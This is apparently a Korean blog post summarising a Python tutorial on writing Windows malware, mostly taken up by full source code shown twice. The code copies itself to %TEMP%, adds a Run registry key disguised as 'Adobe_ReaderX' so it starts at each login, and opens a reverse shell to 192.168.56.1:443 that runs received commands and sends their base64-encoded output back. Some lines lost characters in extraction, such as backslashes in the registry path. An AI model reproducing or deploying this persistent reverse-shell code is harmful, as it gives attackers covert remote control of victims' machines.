0w0

[primalsecurity] 0xC – Python Malware 본문

Primalsecurity/Primalsecurity_Python-tutorials

[primalsecurity] 0xC – Python Malware

0w0 2020. 1. 1. 16:36
728x90
반응형

windows 호스트를 대상으로 예제 악성코드 테스트

 

-악성코드는 기본적으로 타겟과 공격자가 연결을 지속적으로 유지하도록 하는 것.

-windows 호스트를 대상으로 사용하는 지속연결 방식은 “SoftwareMicrosoftWindowsCurrentVersionRun” 레지스트리를 사용하는 방법.

해당 코드는 %temp% 디렉터리에 복사된 뒤 HKEY_LOCAL_MACHINE 레지스트리에 등록되어 windows 호스트가 로그인 될 때 마다 실행되게 하는 코드임.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import sys, base64, os, socket, subprocess
from _winreg import *
 
def autorun(tempdir, fileName, run):
# Copy executable to %TEMP%:
    os.system('copy %s %s'%(fileName, tempdir))
 
# Queries Windows registry for key values
# Appends autorun key to runkey array
    key = OpenKey(HKEY_LOCAL_MACHINE, run)
    runkey =[]
    try:
        i = 0
        while True:
            subkey = EnumValue(key, i)
            runkey.append(subkey[0])
            i += 1
    except WindowsError:
        pass
 
# Set autorun key:
    if 'Adobe ReaderX' not in runkey:
        try:
            key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
            SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%mw.exe")
            key.Close()
        except WindowsError:
            pass

 

지속적인 연결이 유지되면 이 후 악성코드 행위는 리버스 쉘임

네트워크 트래픽은 base64로 인코딩

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def shell():
#Base64 encoded reverse shell
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.56.1'int(443)))
    s.send('[*] Connection Established!')
    while 1:
        data = s.recv(1024)
        if data == "quit": break
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdout_value = proc.stdout.read() + proc.stderr.read()
        encoded = base64.b64encode(stdout_value)
        s.send(encoded)
        #s.send(stdout_value)
    s.close()
 
def main():
    tempdir = '%TEMP%'
    fileName = sys.argv[0]
    run = "SoftwareMicrosoftWindowsCurrentVersionRun"
    autorun(tempdir, fileName, run)
    shell()
 
if __name__ == "__main__":
       main()

 

타겟 윈도우에서 해당 악성코드 실행, 192.168.56.1:443 쪽으로 리버스 쉘 연결 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import sys, base64, os, socket, subprocess
from _winreg import *
 
def autorun(tempdir, fileName, run):
# Copy executable to %TEMP%:
    os.system('copy %s %s'%(fileName, tempdir))
 
# Queries Windows registry for the autorun key value
# Stores the key values in runkey array
    key = OpenKey(HKEY_LOCAL_MACHINE, run)
    runkey =[]
    try:
        i = 0
        while True:
            subkey = EnumValue(key, i)
            runkey.append(subkey[0])
            i += 1
    except WindowsError:
        pass
 
# If the autorun key "Adobe ReaderX" isn't set this will set the key:
    if 'Adobe ReaderX' not in runkey:
        try:
            key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
            SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%mw.exe")
            key.Close()
        except WindowsError:
            pass
 
def shell():
#Base64 encoded reverse shell
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.56.1'int(443)))
    s.send('[*] Connection Established!')
    while 1:
        data = s.recv(1024)
        if data == "quit": break
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdout_value = proc.stdout.read() + proc.stderr.read()
        encoded = base64.b64encode(stdout_value)
        s.send(encoded)
        #s.send(stdout_value)
    s.close()
 
def main():
    tempdir = '%TEMP%'
    fileName = sys.argv[0]
    run = "SoftwareMicrosoftWindowsCurrentVersionRun"
    autorun(tempdir, fileName, run)
    shell()
 
if __name__ == "__main__":
        main()
 

 

Adobe_Readerx => "%TEMP%mw.exe"가 레지스트리로 등록되며 명령 수행 결과는 base64 인코딩되어 오기 때문에 공격자는 해당 결과를 디코딩하어 보면됨.

 

 

 

728x90
반응형
Comments